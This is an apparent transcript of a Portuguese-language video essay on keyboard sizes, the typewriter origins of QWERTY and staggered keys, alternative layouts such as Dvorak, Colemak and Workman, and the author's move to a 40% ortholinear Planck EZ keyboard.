<p>Vamos dar uma pausa no assunto de ergonomia e voltar a alguns conceitos básicos. Nos videos anteriores eu detalhei bastante sobre switches, keycaps, ponto de actuação e vários detalhes técnicos que na realidade tem mais a ver com a sensação da digitação e muito menos com ergonomia propriamente dita ou velocidade. Nenhum teclado mecânico vai fazer diferença nas suas dores, caso sofra de tendinite ou lesão de esforço repetitivo que é o LER. Nenhum teclado mecânico vai fazer você ser muito mais rápido. Usar um bom switch Cherry ou Gateron ou Kailh tem mais a ver, por exemplo, com a qualidade do couro do volante, mais do que se o carro vai andar mais rápido.</p>
<p>Na realidade, o que a maioria das pessoas sofre com teclados hoje em dia tem mais a ver com legado histórico e maus hábitos, que é o que quero explorar hoje. O layout de teclados que chamamos de 100% deriva do famoso IBM Model M. É o teclado original de 101 teclas, que divide as teclas em grandes grupos. As teclas alfanuméricas, o grupo do meio que são teclas de navegação como setinhas, page up e down. Daí temos o grupo mais importante pra quem usa Excel que é o teclado numérico. Um bom contador não consegue viver sem isso. E por último, lá em cima, temos a linha de teclas de função, de F1 até F12.</p>
<p>Quem não usou teclados antes dos anos 90 não vai lembrar disso, mas cada microcomputador e também os terminais de mainframes; cada um tinha um layout diferente. Por exemplo, olha como era o layout do teclado de um micro MSX. Eu lembro claramente como ele tinha um layout esquisito de setas. Ou veja como era o Apple II, que já era mais parecido com o que hoje chamamos de layouts 65%. E se quiser esquisito, veja como era o ZX Spectrum, com as famosas teclas chiclete, o exato oposto de ergonomia e curiosamente mais próximo do que chamamos hoje de layouts 40%. Mas isso era cruel.</p>
<p>A IBM veio pesquisando teclados por décadas e finalmente chegaram num layout que encapsula tudo que um operador ou programador precisaria e esse foi o layout do IBM Model M, que saiu com os primeiros IBM PC; a primeira tentativa da IBM de conquistar o mercado fora das corporações. E fez tanto sucesso que literalmente todo mundo passou a adotar esse mesmo layout desde então. Se você tem um teclado 100%, com o teclado numérico na direita, a única diferença é que depois do Windows 95 passaram a colocar a tecla super de Windows entre o &ldquo;alt&rdquo; e o espaço dos dois lados e com isso temos o layout clássico de 103 teclas.</p>
<p>Agora, esse teclado foi pensado numa época antes da adoção do mouse do lado direito. O IBM Model M descende de teclados de terminais de mainframe, como o lendário IBM Model F, que nem esse que eu comprei no eBay mas não funciona direito. Ou este outro que é um clone do Model F e vem como kit pra você se virar, mas até hoje ainda não consegui fazer funcionar. De qualquer forma, o Model F é um dos maiores tanques de guerra dos teclados já feito. O layout era diferente, e a construção é quase toda de metal. Ele pesa mais de 4 quilos e se você bater na cabeça de alguém com isso, é homicídio. É impossível agredir alguém com um teclado desses e não esperar que o outro vai morrer no ato. E por isso também esses teclados eram super caros, acho que na faixa de 2 mil dólares.</p>
<p>Os Model M passaram a ser feitos com materiais mais baratos, menos ferro, mais plástico, e mesmo assim ainda são mini tanques. Eu tenho um antigo que também comprei no eBay e com um adaptador de PS2 pra USB até que funciona direitinho. Mas se quiser experimentar uma versão moderna, a Unicomp herdou o maquinário original da IBM e Lexmark e fazem um modelo mais moderno USB mas ainda construído do mesmo jeito que antes. Vale pesquisar eles se tiver interesse em saber como eram teclados buckling spring originais. Depois que comprei esse eles fizeram uma versão tenkeyless que eu prefiro.</p>
<p>Os Model M são muito grandes e originalmente pensados pra serem o único periférico na frente do monitor. Mesmo quando começamos a adotar mouse, mais do meio pro fim dos anos 80, depois do lançamento do Lisa, depois do Macintosh, os Commodore Amiga, Atari ST até chegar no Windows 3.1, ainda teve uma transição até a gente passar realmente a depender de mouse pra tudo. Foi mais depois do Windows 95 que o povo não profissional se acostumou a usar mais mouse e menos teclado, depois do meio dos anos 90.</p>
<p>Pior ainda. Foi a partir principalmente do meio pro fim dos anos 90 que passamos a usar mais mouse pra games, especialmente depois de clássicos como Doom, Duke Nukem até culminar nos Quake III, Unreal Tournment e Half-Life. Agora os teclados cheios, 100%, já passam a realmente atrapalhar. Quando a gente joga, a maioria das teclas que se usa nos jogos fica acumulado do lado esquerdo. As teclas w a s d são usados como seta, usamos espaço pra pular. E a mão direita fica no mouse. Por isso que existem até teclados gamers que são só o lado esquerdo, porque daí olha quanto de espaço que ganhamos do lado direito pra mover o mouse.</p>
<p>Claro, não é exatamente muito prático ficar trocando de teclado toda vez que vai jogar, mesmo porque a gente fica em coisas como chat, ou dá uma pausa no jogo, dá alt-tab e vai no navegador procurar alguma coisa; agora a metade que não tem do teclado faz falta. Então eu não recomendo esses meio teclados a menos que tenha espaço pra ter os dois tipos conectados ao mesmo tempo. Pra maioria de nós que não somos gamers nem streamers profissionais, realmente mais atrapalha do que ajuda.</p>
<p>Mesmo sem contar games, atrapalha no dia a dia deixar o mouse lá longe na direita. Mesmo que você seja do tipo que não vê nenhum problema, saiba que quanto mais tá deixando o braço esticado pra direita, mais tá forçando seu ombro e pescoço. Na realidade, quanto mais horas se passa só usando mouse, mais força o braço como um todo e o ideal é evitar. Quem trabalha com coisas como Photoshop, editor de video, 3D ou qualquer coisa assim não tem tanto como evitar, a menos que já tenha migrado pra tablet com caneta, como as famosas Wacom. Ninguém que é obrigado a usar mouse o dia todo gosta muito disso, só se for masoquista e não se importa com dor. Todo o resto, ou tenta usar o teclado o máximo possível, ou migrou pra equipamentos especializados.</p>
<p>De novo, o foco é mais pra gente como eu que lida com programação ou similares. Galera das artes digitais vai discutir se é melhor comprar uma Wacom Cintiq ou um Huion Kamvas ou um XP-Pen da vida. Se seu foco for artes, recomendo o canal do Brad Colbow que faz reviews de equipamentos desse tipo pra desenhistas e ilustradores profissionais. Eu passei anos lidando com photoshop só no mouse, e sim, é brutal com o pulso, ombro e pescoço. Mesmo edição de video eu tenho shortcuts no teclado pra coisas como cortar e navegar pela timeline.</p>
<p>Se nunca tinha pensado nisso, o objetivo é pelo menos não esticar tanto o braço pra direita quando é obrigado a usar. E por isso o próximo passo de um teclado 100% são o que chamamos de TKL ou Tenkeyless, literalmente &ldquo;sem as 10 teclas&rdquo; ou o grupo de teclas numéricas. Eu já consigo ver um contador chorando assistindo o video, mas pra maioria de nós, esse bloco de teclas é literalmente inútil. É muito raro precisarmos digitar tantos números assim que faz diferença; por outro lado, toda vez que precisamos do mouse, esse bloco pouco usado tá no meio do caminho, então vamos arrancar fora.</p>
<p>Por alguma razão esse é o layout que até alguns anos atrás mais se associava a gamers. Marcas como Razer, Logitech, Asus e outros enfiaram um tanto de RGB neles e pronto: teclado gamer. Eu mostrei nos meus videos originais de teclados que eu tinha modelos como o Razer Blackwidow. E mesmo o pessoal que começou a adotar a idéia de teclados mecânicos em geral, adotou o layout tenkeyless. Ele é o meio do caminho mais fácil, porque a única modificação é tirar as teclas de números, que nenhum gamer usa, então tem zero curva de aprendizado pra mudar e automaticamente se ganha mais espaço pro mouse.</p>
<p>Se você quer o menor esforço pra mudar de teclado, caso estivesse usando os 100%, essa é a opção com zero dor de cabeça. Outra opção que se tornou muito popular por causa dos notebooks são variantes de layout 75%. Esses layouts tentam pegar o bloco do meio de teclas de navegação como home, end, page up, page down e setas e tentam enfiar no bloco principal alfanumérico. Esse é o layout que as setas ficam grudadas em teclas como shift e control do lado direito.</p>
<p>Se você tá acostumado com notebooks, tá acostumado com esse layout mais apertado. Nesse caso o objetivo foi menos dar espaço do lado direito e mais conseguir enfiar um teclado usável num notebook com telas menores que 15 polegadas. O problema de tentar usar um teclado cheio 100% num notebook é que você sempre vai ficar um pouco pra esquerda, em vez de estar centralizado com a tela. Alguns se acostumam, mas eu pessoalmente não gosto de não estar no centro da tela. É questão de gosto mas acho que o layout 75% é o mais correto e mais universal pra notebooks. De novo, a menos que seja um contador, aí vai querer as teclas numéricas também.</p>
<p>E quando eu falo contador, não estou menosprezando não, mas é um caso de uso muito pequeno pra estabelecer como padrão pra todo mundo e desperdiçar tanto espaço. Não só contador, mas qualquer um que lide por exemplo com data sciences, pesquisa e coisas que exigem digitar números com velocidade e precisão. Nesse caso não tem jeito, pega um teclado 100% mesmo e seja feliz. Mas pra todo o resto de nós, vamos continuar.</p>
<p>Um notebook tem uma vantagem em relação a desktops, a existência de trackpads embaixo do teclado. Essa é a melhor posição, porque pra maioria das atividades do dia a dia como posicionar o cursor num Word, ou só rapidamente clicar num link, dá pra fazer tudo só usando o dedão sem quase tirar a mão direita do teclado. Por muitos anos, quando usava Mac, eu preferia usar o teclado Magic Keyboard e o Magic Trackpad embaixo dele, que é parecido com o posicionamento num Macbook.</p>
<p>Nesse segmento que cresceu marcas como a Keychron com o seu famoso K2, que até canais renomados como o MKBHD do Marques Brownlee adotaram como teclado favorito. Inclusive pra muitos, migrar pro tal mundo de teclados mecãnicos significou ir pra um Keychron K2 ou clones similares, com layout 75%. É um layout minimalista que dá uma ótima opção pros road warriors, o pessoal que viaja muito e quer carregar um bom teclado na mochila. Pelo menos antes da pandemia.</p>
<p>E um Keychron sempre teve uma construção muito boa. Não é necessariamente o melhor, mas é o melhor conjunto. Os entusiastas poderiam ir pra opções de melhor construção como os kits Glorious GMMK. Eu pessoalmente testei vários Keychron já, do tenleyless K8 ao 75% K2 até o low profile K3, mas pra mim o melhor modelo deles é o Q1 que eu comprei ou o Q2 que saiu faz pouco tempo. Eles tem uma construção bem mais robusta, que compete com os modelos da Glorious e da Drop e lembra o peso de um IBM Model M, um teclado menos pra levar na mochila e mais pra deixar preso na mesa, porque com esse peso ele não vai se mexer.</p>
<p>Um layout que eu pelo menos não vi tanta adoção são os 65%. É basicamente o layout 75% parecido com de notebook mas sem a linha de teclas de função só. Ainda tem as setinhas na direita mas ele é mais curto verticalmente e nesse segmento acho que a marca que sempre mais se destacou foi a lendária Ducky. Eu não tenho uma, mas vejam por esta foto. A idéia acho que é porque a linha de teclas numéricas e a linha de teclas de função são as menos usadas no teclado, então vamos juntar as duas linhas em uma. Normalmente fica ativado a função numérica, mas combinando com uma tecla modificadora, ativamos a camada de funções de F1 a F12.</p>
<p>Mas já que tiramos teclas de função, porque não dar mais uns passos e tirar mais algumas teclas. Aí muitos vão começar a se lembrar que um nicho principalmente de programadores e gamers resolveram dar o próximo passo lógico e daí surgiram marcas reconhecidas nesse nichos a Anne Pro 2 ou esse meu Ultimate Hacking Keyboard. Até pouco tempo sempre achei esse passo desnecessário. Um 60% é igual um 65% menos as teclas de setas, page up, page down, home e end. Ou seja, é o teclado cheio sem o bloco numérico, sem o bloco de navegaçao no meio e sem a linha de teclas de função. E aqui também nasce a necessidade de começar a conseguir configurar o mapeamento das teclas pra conseguir ter o equivalente de setas e tudo mais usando combinações de teclas.</p>
<p>Mas pensa, não parece um saco precisar apertar tipo uma tecla como &ldquo;function&rdquo;, toda vez que precisa usar setinhas ou dar um page up? Esse é o ponto que separa a população normal dos entusiastas. A população em geral consegue ir, no máximo, até 65% e mesmo isso já parece um grande sacrifício. Agora, num 60%, pra ter setas, precisa apertar uma tecla de função e o w a s d ou i j k l, o tico e o teco não consegue lembrar dessas coisas, dá curto circuito, o cérebro primitivo é incapaz de se adaptar a isso. Pelamordeus.</p>
<p>E vocês acham que eles pararam aí? Não! precisa ter um nível que separa de verdade os primitivos homo sapiens e dá destaque ao homo ludens de verdade. E aí inventaram o layout 40%. E é o que vocês devem ter pensado mesmo, vamos arrancar mais teclas! É basicamente o 60% mas arrancando fora também a inútil linha de teclas de números, e arrancando e diminuindo as teclas da direita. Pra que diabos backspace e shift precisam ser tão largos? Minimiza, minimiza. E esse é o resultado, o teclado que faz qualquer um repensar a vida.</p>
<p>Falando sério, eu tentei um layout desses um tempo atrás. Tentei usar o Razer Huntsman Mini. E vou dizer que foi uma experiência horrorosa. Foi tão ruim que eu doei esse teclado pra um dos desenvolvedores da minha empresa. Na verdade, eu decidi me desfazer de vários dos teclados da minha coleção e no ano passado fiz um sorteio interno entre o pessoal da minha empresa. Eles levaram esse Huntsman, meu Matias Mini Quiet Pro, o low profile tenkeyless SK630 da Coolermaster, os meus dois Razer Blackwidow, o MassDrop Ctrl, da época anterior da empresa mudar de nome só pra Drop, e meu primeiro Keychron K2. Falei que usar um 40% quebra a gente&hellip;</p>
<p>Tô brincando, eu quis me desfazer porque realmente já tava com teclados demais, e na época chegou o Keychron Q1 que como eu falei, achei que fosse ser meu último teclado. Tinha muito pouca coisa que poderia melhorar num teclado com layout 65%, que era o máximo que tava disposto a ir. Mas no fim do ano passado eu comecei a repensar essa história de teclados por causa de um colaborador da minha empresa que curte muito teclados e me convenceu a tentar uma coisa diferente.</p>
<p>Antes de chegar nessa história, vou precisar voltar no tempo de novo. Agora que vocês entenderam o básico sobre o tamanho dos teclados, preciso explicar sobre o layout, a disposição das teclas propriamente dito. Acho que muitos já ouviram a história de porque usamos layouts baseados em qwerty. E chamamos de qwerty porque são as primeiras 5 teclas da esquerda. O motivo de porque letras que usamos muito como &ldquo;a&rdquo; ou &ldquo;p&rdquo; ficam um lá na esquerda pro dedo mindinho e lá na direita pro outro dedo mindinho. E tem a ver com isso aqui, a máquina de escrever original.</p>
<p>Quem nunca usou não vai saber, mas cada tecla empurra um braço embaixo dele que vai tanto levantar um tambor aqui dentro e empurrar o martelo da letra específica que apertou, pra bater na fita de tinta e carimbar no papel atrás. Quando falamos em teclados mecânicos, falamos em peso de actuação na faixa de 45 até 60 gramas. Mas nesse caso, estamos falando de no mímimo o dobro disso de força que cada dedo precisa fazer pra conseguir carimbar com força no papel. Não tem como digitar leve, senão a tinta nem mancha o papel.</p>
<p>O problema é que, depois de treinar muito, era possível digitar tão rápido que um martelo poderia acabar batendo no anterior, que não teve tempo pra voltar, e fazendo muito isso a gente trava a máquina e precisa manualmente desenroscar os martelos. Daí o povo teve uma idéia: seria difícil fazer os martelos voltar mais rápido, então era mais fácil fazer nossos dedos digitarem mais devagar. Então vamos colocar algumas das letras mais comuns pros dedos mais fracos. Não sei dizer se foi assim que pensaram, mas consigo imaginar a linha de raciocínio.</p>
<p>De qualquer forma, o layout que usamos hoje é derivado de uma época onde se digitava nesses troços pesados, complicados e mecânicos de verdade. Só que ninguém mais usa isso hoje em dia. Mesmo antes dos PCs se popularizarem a gente já tinha máquinas de escrever eletrônicos, que era como se fosse um teclado embutido numa impressora com um processador muito simples e poucos bytes de memória. Eu lembro que era meu sonho poder digitar numa máquina daquelas, que eu via na escola, porque era ordens de grandeza mais leves de digitar. E depois nasceu micros e PCs, e aí até essa máquina ficou pra trás.</p>
<p>O fato é que hoje em dia as teclas são super leves. Mesmo os dedos fracos como os mindinhos, não tem que fazer quase nenhuma força. O problema hoje é que pouca gente usa os mindinhos, mas já vou falar disso. Então, não demorou muito pra alguns pesquisadores e engenheiros pararem pra pensar, &ldquo;cara, porque usar um layout derivado da época de máquina de escrever? tem gente que já nasceu com computadores e sequer usou uma máquina de escrever na vida. vamos criar um layout mais inteligente.&rdquo;</p>
<p>E assim nasceu o DVORAK, por causa do nome do inventor August Dvorak e na verdade eu fantasiei um pouco aqui. O Dvorak foi inventado nos anos 1930 com o objetivo de criar um layout cientificamente comprovado que é superior ao qwerty em velocidade, menos erros e menos esforço do digitador. Foram milhares de testes com pessoas de verdade ao longo de muito tempo pra chegar na melhor combinação de teclas que fosse melhor pro digitador. Mas na prática, qwerty é a prova que a gente tem muito pouca paciência pra aprender coisas novas.</p>
<p>Eu disse que o qwerty foi inventado como forma de evitar sequências de letras que pudessem emperrar os martelos, mas mesmo nos anos 30 acho que já era possível construir máquinas que emperravam menos, mas uma vez que todo mundo aprendeu a usar qwerty, era pedir demais pra mudar pra um layout novo mesmo que fosse cientificamente, comprovadamente melhor. E o mais bizarro disso, eu tenho certeza que quase 70% de vocês assistindo nunca usaram uma máquina de escrever e mesmo assim não conseguem se ver aprendendo um layout diferente de qwerty.</p>
<p>Mesmo hoje em dia, com computadores, e sendo super fácil trocar de layouts, a grande maioria das pessoas sequer sabe digitar qwerty como ele foi originalmente pensado, com todos os dez dedos. Tenho quase certeza que a grande maioria aqui usa 3, talvez quatro dedos. Em particular na mão direita, talvez cate milho só com o indicador e dedo do meio. E até digitam razoavelmente rápido, mas eu garanto que se sua profissão exige digitar muito, como um escritor ou programador, você eventualmente vai ter problemas no seu pulso, no seu cotovelo e no seu ombro e pode ser a razão de porque tem dores musculares e de cabeça.</p>
<p>Num mundo ideal, a gente aprenderia Dvorak, mas pra isso acontecer, essa teria que ser a primeira opção, e não a segunda. É como a dificuldade que muitos adultos tem de aprender uma segunda língua. Depois de uma certa idade, você não quer mais ter o trabalho. É pura preguiça mesmo, não tem nenhuma outra explicação. O motivo de porque eu não tento dvorak é justamente isso também, preguiça. E Dvorak ainda tem alguns problemas de ter sido criado numa era antes dos computadores. Mas além de preguiça eu ainda tenho uma outra boa justificativa que vou explicar.</p>
<p>Mas digamos que você tente experimentar Dvorak. Nas primeiras horas vai rejeitar o layout e o motivo é simples. Quais são as teclas que você mais usa no dia a dia? Eu diria que é copy e paste, os famosos control + C e control + V. Eles ficam aqui embaixo no teclado, não muito longes da tecla control. Daí às vezes a gente quer cortar em vez de só copiar, daí fazemos control + x, que tá aqui do lado do c. E quando a gente erra, faz o que? Desfaz ou undo, com control + z, que tá aqui do lado do x. Essas 4 teclas aqui embaixo é sua vida.</p>
<p>E onde o Dvorak coloca o C? Lá em cima, perto da tecla 9. E o V pra colar? Fica lá embaixo na direita, na direita! E cadê a porra do X pra cortar? Vou dar 1 segundo, procura, conseguiu achar? Não né. Tá aqui embaixo, no meio, em cima do espaço. E se quiser fazer control Z pra desfazer alguma coisa? Antes era lá no canto esquerto, mas no Dvorak fica lá no canto direito. Ou seja, as 4 teclas mestras do nosso dia a dia tão todas espalhadas e só isso já é suficiente pra nos deixar em pânico completo e desistir dessa brincadeira. E isso porque não sei se notou, mas lembra de onde fica o q w e no qwerty? Olha o que tem no lugar: crase, vírgula e ponto, que normalmente ficam lá embaixo na direita.</p>
<p>O Dvorak não deu certo na época das máquinas de escrever e até hoje permanece sendo um layout de nicho, embora todo sistema operacional já venha com opção pra escolher Dvorak se quiser. Basta ir na configuração de teclado, adicionar um novo layout, e começar a treinar. Não precisa instalar nada extra. E mesmo assim, duvido que alguém aqui tente. E por isso inventaram outros layouts pra essa era de computadores.</p>
<p>Na realidade, depois de Dvorak surgiram dezenas de outros layouts, mas nenhum ficou mais famoso em anos recentes do que o Colemak de 2006. Um layout mais moderno e mais sensível, onde o autor Shai Coleman também fez pesquisas pra chegar num layout que fosse mais eficiente pra digitar, assim como o Dvorak, mas ao mesmo tempo não tão complicado de migrar do qwerty. E de fato, só de bater o olho, ele já não ofende tanto quanto o Dvorak. Pra começar as teclas de símbolos quase não muda nada de lugar. Vírgula, ponto, tudo no mesmo lugar.</p>
<p>Mais do que isso, copiar, cortar, colar, desfazer, as teclas Z X C V continuam também nos mesmos lugares lá embaixo. Teclas como Q W A também parecem nos mesmos lugares, mas daí o miolo muda. Qual o princípio? É a idéia de manter seus dedos o maior tempo possível no que chamamos de &ldquo;home row&rdquo; ou &ldquo;linha de casa&rdquo;, que é a linha do meio.</p>
<p>Olha só, num mundo ideal, seus dedos deveriam no máximo mover o menos possível, uma tecla pra cima, uma tecla pra baixo, mas ficar no meio o máximo possível. Quanto mais manter os dedos na linha do meio, menos esforço precisa fazer e menos erros vamos cometer. A maior parte dos erros vem de ter que tirar a mão dessa posição, por exemplo pra apertar o backspace pra apagar, que costuma ficar lá em cima na direita, ou quando você não usa o shift da direita pra fazer maiúsculas com as teclas da esquerda.</p>
<p>Eu mesmo ainda não tive paciência pra testar, mas Colemak pode ser uma boa alternativa pra quem quiser migrar de qwerty pra um layout que possivelmente vai te deixar mais rápido e ao mesmo tempo diminuir problemas de lesão por esforço repetitivo ou LER. Eu estou chutando, mas imagino que qualquer um que digite errado vai ter mais chances de ter lesões no futuro. Mesmo se não quiser mudar de layout, no mínimo tente treinar pra usar todos os 10 dedos no qwerty. Eu também chutaria que seja qwerty, ou dvorak ou colemak, pra maioria das pessoas, não vai fazer tanta diferença e agora vou explicar porque não é só por preguiça que não me animo de mudar pra um Colemak da vida.</p>
<p>Alguns anos depois, um cara que experimentou dvorak e colemak, justamente por causa de lesões por esforço repetitivo, ficou curioso com uma coisa que ele notou no Colemak. De fato, ele diz que notou que os dedos fazem menos movimentos pra linha de cima ou pra linha de baixo comparado com qwerty. Mas ele cismou que alguns dedos faziam mais movimentos laterais na linha do meio mesmo. E a razão disso foi a posição da letra H no colemak, que por acaso se manteve no mesmo lugar comparado ao qwerty.</p>
<p>Tanto dvorak quanto colemak existem na idéia de aumentar a eficiência ao tentar manter seus dedos na linha do meio o máximo possível, mas o Bucao, criador do layout Workman, acha que obcecar só nisso e ignorar o movimento natural diferente dos dedos das mãos não é eficiente. No site do workman ele tem uma enorme explicação muito bem embasada com toda a pesquisa que justifica o porque do layout dele. E aí que eu acho que pra nós, eu aqui e vocês assistindo, não faz tanta diferença a menos que seu dia a dia seja só escrever textos em inglês.</p>
<p>Em particular a cisma que ele teve com o H foi porque o E fica duas teclas pra direita na linha do meio no Colemak. E o segundo bigrama mais usado na língua inglesa é o HE, como em &ldquo;The&rdquo;. O primeiro bigrama é &ldquo;TH&rdquo;, claro, que aparece tanto em &ldquo;The&rdquo; como &ldquo;there&rdquo; ou &ldquo;this&rdquo;. Bigrama é um termo de linguística pra estudar línguas e se refere a pares consecutivos de letras que aparecem em palavras. Todo mundo que já lidou com indexação e pesquisa de palavras já esbarrou em termos como bigrams ou n-grams, na documentação de um Elasticsearch ou full text search de bancos de dados. Mas isso é assunto pra outro dia.</p>
<p>Otimizações desse tipo são totalmente dependentes da língua. Pensa, como que fazemos pra manter os dedos o máximo possível na linha do meio do teclado? Simples, pegamos todos os textos de livros e revistas indexados tipo no Google e fazemos uma análise estatística de bigrams, n-grams e tentamos colocar no meio as letras mais frequentes. E tentamos também colocar mais próximo as letras dos bigramas mais usados como o TH e HE que o Bucao mencionou. E vamos fazendo experimentações e medições pra ver se realmente ao digitar textos em inglês, no geral, os dedos tendem a se mexer o menos possível e fazer o menor número de repetições desconfortáveis que poderiam levar a lesões.</p>
<p>Mas de novo, toda essa pesquisa vale pra inglês. Mesmo entre inglês britânico e americano vai ter muitas diferenças. Se colocar nosso português na mistura, pior ainda, tem que refazer a pesquisa toda. Eu não pesquisei, mas nunca esbarrei num layout que foi pensado especificamente pra nossa língua. Certamente alguém deve ter tentado. Pior ainda, e pra gente que é programador que precisamos escrever em português e em inglês ao mesmo tempo? Não tem como fazer um layout que atenda todas as possibilidades de múltiplas línguas. E por isso eu não vejo muita vantagem migrar de qwerty pra outra coisa.</p>
<p>A grande vantagem do qwerty e o motivo de porque ninguém tem muita vontade de mudar é porque é universal. Pode não ser o melhor, mas podemos usar computador de casa, notebook do trabalho, computador na casa dos pais, amigos, em lojas, e sempre vamos achar o mesmo layout. Seja o melhor ou não, a vantagem é a universalidade. Por isso eu não vejo o qwerty morrendo tão cedo. Mesmo os layouts cientificamente comprovados como melhores como dvorak ou colemak permanecem num nicho muito pequeno de usuários.</p>
<p>Pra quem é programador e sequer digita textos muito longos nem em português, nem inglês, e sim coisas como &ldquo;function&rdquo;, &ldquo;class&rdquo;, &ldquo;const&rdquo;, &ldquo;let&rdquo; com mais frequência, os estudos todos que foram baseados em literatura, não bate com a realidade. Se você programa em javascript eu poderia chutar que o bigrama mais comum não vai ser &ldquo;TH&rdquo; com em &ldquo;The&rdquo; e sim talvez &ldquo;LE&rdquo; de &ldquo;let&rdquo; ou &ldquo;CO&rdquo; de const, e essas seriam candidatos de letras que deveriam estar na linha do meio. Mas como vimos, se tirar o &ldquo;C&rdquo; da linha de baixo, vai dar treta, porque mais que digitar código, programador moderno vai é fazer control + C e control + V com mais frequência do que qualquer outra coisa.</p>
<p>Eu pessoalmente não vejo vantagens em mudar de qwerty, mas se no seu dia a dia você digita mais textos em inglês o dia todo, talvez como pesquisador escrevendo papers ou gerente escrevendo relatórios, talvez um colemak ou workman sejam os mais indicados pra testar, se fizer muita questão de tentar. Mas esperem passar por pelo menos 2 semanas de muita frustração e ter que retreinar digitação do zero até conseguir chegar numa boa velocidade e com poucos erros. Na prática o problema da maioria das pessoas não é o layout e sim nunca ter treinado pra digitar nem o qwerty direito, com todos os dez dedos das mãos na posição correta. Já vou falar sobre isso.</p>
<p>Mas falando em relíquias da época da máquina de escrever tem de fato uma coisa que é difícil de defender. E foi isso que meu amigo aqui da empresa me recomendou e me convenceu a investigar mais. Olhem pra todos esses layouts, qwerty, dvorak, colemak, workman. Conseguem ver um troço estranho em todos eles? Ou melhor ainda, olha pro seu teclado na sua frente agora assistindo aí o video. Lembra quando eu falei agora pouco sobre o layout 60% de porque diabos teclas como backspace ou shift precisam ser tão largos? Sério agora, porque você acha que muitas teclas tem tamanhos diferentes?</p>
<p>Mas vamos um passo além, porque diabos todas as teclas precisam ser desalinhadas? Coloca sua mão na posição neutra na linha do meio. Indicador esquerdo em cima da tecla F, que costuma até ter um relevo pra você sentir que estacionou no lugar certo. E indicador direito em cima da tecla J que também tem esse relevo. Agora você vai digitar a tecla &ldquo;C&rdquo;, qual é o dedo certo? É descendo o indicador ou o dedo do meio? E a tecla &ldquo;Z&rdquo;? É o mindinho ou o anelar? Sério, consegue me dizer de cabeça sem tentar no seu teclado?</p>
<p>E todas as teclas da linha de cima e de baixo sofrem do mesmo problema. Muitas delas são ambíguas, e se você nunca teve treinamento formal de digitação, cada um vai ter uma resposta diferente porque ao longo dos anos acostumou a usar um dedo ou outro. Mesmo quem digita com todos os dez dedos vai ter dificuldades e esse é o motivo de porque você erra tanto e porque a tecla que mais usa é o backspace pra apagar e corrigir; porque se tenta ir muito rápido eventualmente seu dedo bate na borda de uma tecla e acaba apertando a outra do lado.</p>
<p>E por que diabos as teclas são todas desalinhadas? Já pararam pra se perguntar isso? Eu mesmo nunca tinha parado pra pensar nisso até que me fizeram essa mesma pergunta. E a resposta, pra mim que aprendeu a digitar numa máquina de escrever é super óbvia. Vamos voltar aqui pra minha máquina. Lembram que cada tecla tem um braço em L embaixo que liga com o tambor lá atrás? Concorda que seria muito complicado se as teclas fossem alinhadas verticalmente? Elas são desalinhadas pros braços das teclas da linha de baixo não cruzarem com os braços das teclas da linha de cima.</p>
<p>Deixa eu mostrar com calma que isso é importante, olha só como cada tecla fica exatamente entre duas de cima. Pras teclas serem alinhadas verticalmente, esses bracinhos de ferro embaixo precisaria cada uma ser dobrada de jeitos diferente pra desviar das outras. Eu imagino que até seja possível, mas aí na hora de fabricar, teria que ter um desenho de braço diferente pra cada linha de teclas. E esse é o único motivo de porque as teclas são todas desalinhadas. Não é por eficiência pra digitar nem nada, mas sim pela forma que máquinas de escrever eram construídas.</p>
<p>E de novo, ninguém mais usa máquinas de escrever. Mudar de layout eu realmente acho que o ganho não compensa a dor de cabeça pra reaprender, mas o desalinhamento realmente me atrapalha mesmo depois de digitar assim por 3 décadas. Eu sempre errei mais do que gostaria e sempre porque vira e mexe, quando começo a digitar muito rápido, acabo apertando duas teclas sem querer, e como sou obrigado a mover os dedos pra um alinhamento estranho na linha de cima e de baixo, pra voltar pra posição neutra no meio de novo, é mais devagar.</p>
<p>E foi isso que ano passado eu fui obrigado a parar pra pensar. Não existe nenhuma razão pra teclados modernos terem teclas desalinhadas a não ser legado histórico e costume. E depois que isso me ocorreu, não consigo mais despensar e fiquei com isso na cabeça me perturbando. Eu sou do tipo que quando uma coisa óbvia aparece, não consigo mais ignorar. E por isso encomendei dois teclados novos. E agora podemos continuar a história dos tamanhos de teclado também.</p>
<p>Lembram que brinquei que o homo sapiens vai parar no layout 65% porque a evolução só chega até esse ponto e só o homo ludens vai o caminho todo até os famigerados 40%? Pois é, conheçam o meu novo Planck EZ da ZFA, a mesma que muitos devem conhecer pelo famoso Ergodox. Se nunca tinha visto, isto é um 40%. Esse teclado é um pouco menor que um Nintendo Switch, e só um pouco mais grosso na lateral. Aliás, uma dica pra quem tem teclados desse tamanho. Ainda não existe um case oficial pra transportar o Planck na mochila mas um case de Switch serve direitinho. Eu tenho esse genérico da Insignia que comprei pra transportar meu Switch e olha só, cabe o Planck direitinho nele.</p>
<p>Mais do que 40%, esse teclado tem as teclas todas alinhadas verticalmente. É o que se chama de teclado ortolinear, teclados tradicionais chamamos de staggered, ou escalonado. Vamos falar disso primeiro e vamos colocar os dedos na posição neutra, indicador esquerdo no F e indicador direito no J, igual antes. Agora lembram da pergunta? Qual dedo que devemos usar pra apertar a tecla C? Indicador ou dedo do meio? E aqui está absolutamente óbvio que é o dedo do meio, só deslizar ele pra baixo uma tecla. E a tecla Z, é com o mindinho ou o anelar? E de novo é óbvio, só deslizar o mindinho e ele encosta no Z. Não tem dúvidas de qual dedo vai em onde.</p>
<p>Olha só, deslizamos verticalmente pra cima, deslizamos verticalmente pra baixo, os únicos dedos que tem mais de uma letra são os indicadores que continuam deslizando pras colunas do meio. Mas beleza, e se eu quiser digitar números? Onde eles foram parar? E aqui começa uma coisa que é específica deste teclado e pode variar em outros modelos. No caso do Planck, ele pode ser totalmente customizado via um software chamado Oryx. Vamos abrir online pra olhar, é uma aplicação web, nem precisa instalar.</p>
<p>Teclados 40% obrigatoriamente precisam ter camadas, ou layers como eles chamam. Essa camada que vocês conseguem ver chamamos de layer base. É onde ficam todas as letras normais e teclas de modificação como shift, control, alt e outros. No meu caso em particular eu modifiquei meu layout pro enter ficar do lado direito do espaço e pro backspace ficar no dedão do lado esquerdo. O motivo é simples. Quais são os dedos mais fortes das suas mãos? O dedão, e enquanto dedos fracos como o mindinho da esquerda precisa além de apertar as telas Q A e Z ainda precisa apertar o control, o shift, o esc e tudo mais. E o dedão? A única coisa que ele faz é apertar a barra de espaço. Com certeza esse dedão consegue fazer mais que isso.</p>
